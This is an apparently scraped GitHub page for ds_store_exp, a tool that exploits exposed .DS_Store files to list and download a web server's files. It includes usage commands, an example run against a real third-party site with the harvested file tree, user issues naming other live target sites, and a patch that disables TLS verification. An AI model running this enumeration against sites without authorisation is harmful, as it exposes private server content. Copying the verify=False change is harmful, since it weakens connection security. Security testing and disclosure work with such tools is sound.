lijiejie / ds_store_exp Goto Github PK

View Code? Open in Web Editor NEW

1.5K 20.0 286.0 11 KB

A .DS_Store file disclosure exploit. It parses .DS_Store file and downloads files recursively.

Python 100.00%

ds_store_exp's Introduction

ds_store_exp

A .DS_Store file disclosure exploit.

It parses .DS_Store file and downloads files recursively.

这是一个 .DS_Store 文件泄漏利用脚本，它解析.DS_Store文件并递归地下载文件到本地。

Usage: python ds_store_exp.py http://www.example.com/.DS_Store

Install

pip install ds-store requests

Example

ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

hd.zj.qq.com/
└── themes
    └── galaxyw
        ├── app
        │   └── css
        │       └── style.min.css
        ├── cityData.min.js
        ├── images
        │   └── img
        │       ├── bg-hd.png
        │       ├── bg-item-activity.png
        │       ├── bg-masker-pop.png
        │       ├── btn-bm.png
        │       ├── btn-login-qq.png
        │       ├── btn-login-wx.png
        │       ├── ico-add-pic.png
        │       ├── ico-address.png
        │       ├── ico-bm.png
        │       ├── ico-duration-time.png
        │       ├── ico-pop-close.png
        │       ├── ico-right-top-delete.png
        │       ├── page-login-hd.png
        │       ├── pic-masker.png
        │       └── ticket-selected.png
        └── member
            ├── assets
            │   ├── css
            │   │   ├── ace-reset.css
            │   │   └── antd.css
            │   └── lib
            │       ├── cityData.min.js
            │       └── ueditor
            │           ├── index.html
            │           ├── lang
            │           │   └── zh-cn
            │           │       ├── images
            │           │       │   ├── copy.png
            │           │       │   ├── localimage.png
            │           │       │   ├── music.png
            │           │       │   └── upload.png
            │           │       └── zh-cn.js
            │           ├── php
            │           │   ├── action_crawler.php
            │           │   ├── action_list.php
            │           │   ├── action_upload.php
            │           │   ├── config.json
            │           │   ├── controller.php
            │           │   └── Uploader.class.php
            │           ├── ueditor.all.js
            │           ├── ueditor.all.min.js
            │           ├── ueditor.config.js
            │           ├── ueditor.parse.js
            │           └── ueditor.parse.min.js
            └── static
                ├── css
                │   └── page.css
                ├── img
                │   ├── bg-table-title.png
                │   ├── bg-tab-say.png
                │   ├── ico-black-disabled.png
                │   ├── ico-black-enabled.png
                │   ├── ico-coorption-person.png
                │   ├── ico-miss-person.png
                │   ├── ico-mr-person.png
                │   ├── ico-white-disabled.png
                │   └── ico-white-enabled.png
                └── scripts
                    ├── js
                    └── lib
                        └── jquery.min.js

21 directories, 48 files

ds_store_exp's People

Contributors

Stargazers

Watchers

Forkers

crown-prince vysecurity followmaster 5up3rc cyri1s m0nk3yd1u44y eniac888 h1d3r lovecppp thanatoskira ra0mb1er cc06 c3stbon tuian akpotter wolft sec-u xiju2003 lhxkailiang lyhappy ver007 v1cker gloxec fbion mypuppet superhighman trevor3000 dawson0x00 99103248 webshell520 archerbroler lanzsec f3eev arryboom jjsmida yaoyi2008 scopion 0x24bin lanmaster53 tsug0d obaby yogistudio tobey123 selfevo vinc-sec qqgirllianxin abt1000 proxyergo kuustudio findlakes youyou2018 cainiaoxiaobai2016 hi-noikiy benderpan ayoub5474 bluemustache 0x00-0x00 phpplay lokinglz hi0x0 zhengshengxi xiaoyoutai simlan shiliuxing prats84 noscripter jamalmo lijiaxing1997 bl4de myemerchant dothanthitiendiettiende ma3k4h3d exploitprotocol shuye233 mkv4 huangyuan666 ianonyxu the0ne66 xiaozhiwen cartonsta ic3-cr3am liufeng-take kuteminh11 radys raystyle sry309 chivrs q8195438 ns-sp4ce quincyc379 justxu zhaoyuxuan1997 axiom215 shad0wpf realjac 21songh rainclown zilong3033 hworm dabing1205

ds_store_exp's Issues

Error ‘[!] Unable to read 1024 bytes in block’

Hello! With some .DS_Store files I got the error:

[200] https://www.le-pam.fr/images/.DS_Store
[!] Unable to read 1024 bytes in block

Examples of files, what arise the bug:

python2 ./ds_store_exp.py http://delynar.com/site/.DS_Store

python2 ./ds_store_exp.py https://www.le-pam.fr/images/.DS_Store

建议添加以下代码，避免特殊情况下https请求出现错误

原脚本使用情况：

添加修复代码：

import urllib3
...
...
try:
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    response = requests.get(url, verify=False, allow_redirects=False)
except Exception as e:
...

python2废弃，python3已经写好

check this out: https://github.com/qiuluo-oss/ds_store_exp_py3

下载.DS_Store到本地之后打开为编码

版本：Python 3.12.0
描述：下载.DS_Store到本地之后打开为编码
使用sublime text打开后还是加密内容，无法查看

Unable to read 1 bytes in block

这个报错有办法解决嘛

ERROR: Could not open requirements file: [Errno 2] No such file or directory: 'requirements.txt'

I couldn't download the requirements.txt

Having issue installing pip2 requirements

┌──(kali㉿kali)-[~/Downloads/ds_store_exp]
└─$ sudo pip2 install -r requirements.txt
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.
Collecting ds-store==1.1.2
Using cached ds_store-1.1.2.tar.gz (13 kB)
ERROR: Command errored out with exit status 1:
command: /usr/bin/python2 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-y2WToF/ds-store/setup.py'"'"'; file='"'"'/tmp/pip-install-y2WToF/ds-store/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-Y9U1sq
cwd: /tmp/pip-install-y2WToF/ds-store/
Complete output (10 lines):
/usr/lib/python2.7/distutils/dist.py:267: UserWarning: Unknown distribution option: 'install_requires'
warnings.warn(msg)
/usr/lib/python2.7/distutils/dist.py:267: UserWarning: Unknown distribution option: 'tests_require'
warnings.warn(msg)
usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
or: setup.py --help [cmd1 cmd2 ...]
or: setup.py --help-commands
or: setup.py cmd --help

error: invalid command 'egg_info'
----------------------------------------

ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
WARNING: You are using pip version 20.3.4; however, version 21.1.1 is available.
You should consider upgrading via the '/usr/bin/python2 -m pip install --upgrade pip' command.

Any suggestions on a fix for this?
Thanks for your time and effort.
Best regards,
kaiz3n

一个无限循环下载的Bug

在使用这个脚本爬取一个目标网站的时候。发现脚本会无限循环爬取已经爬取过的目标。看了一下源代码。第40行是不是应该做如下修改？

if url in self.processed_url:  
    continue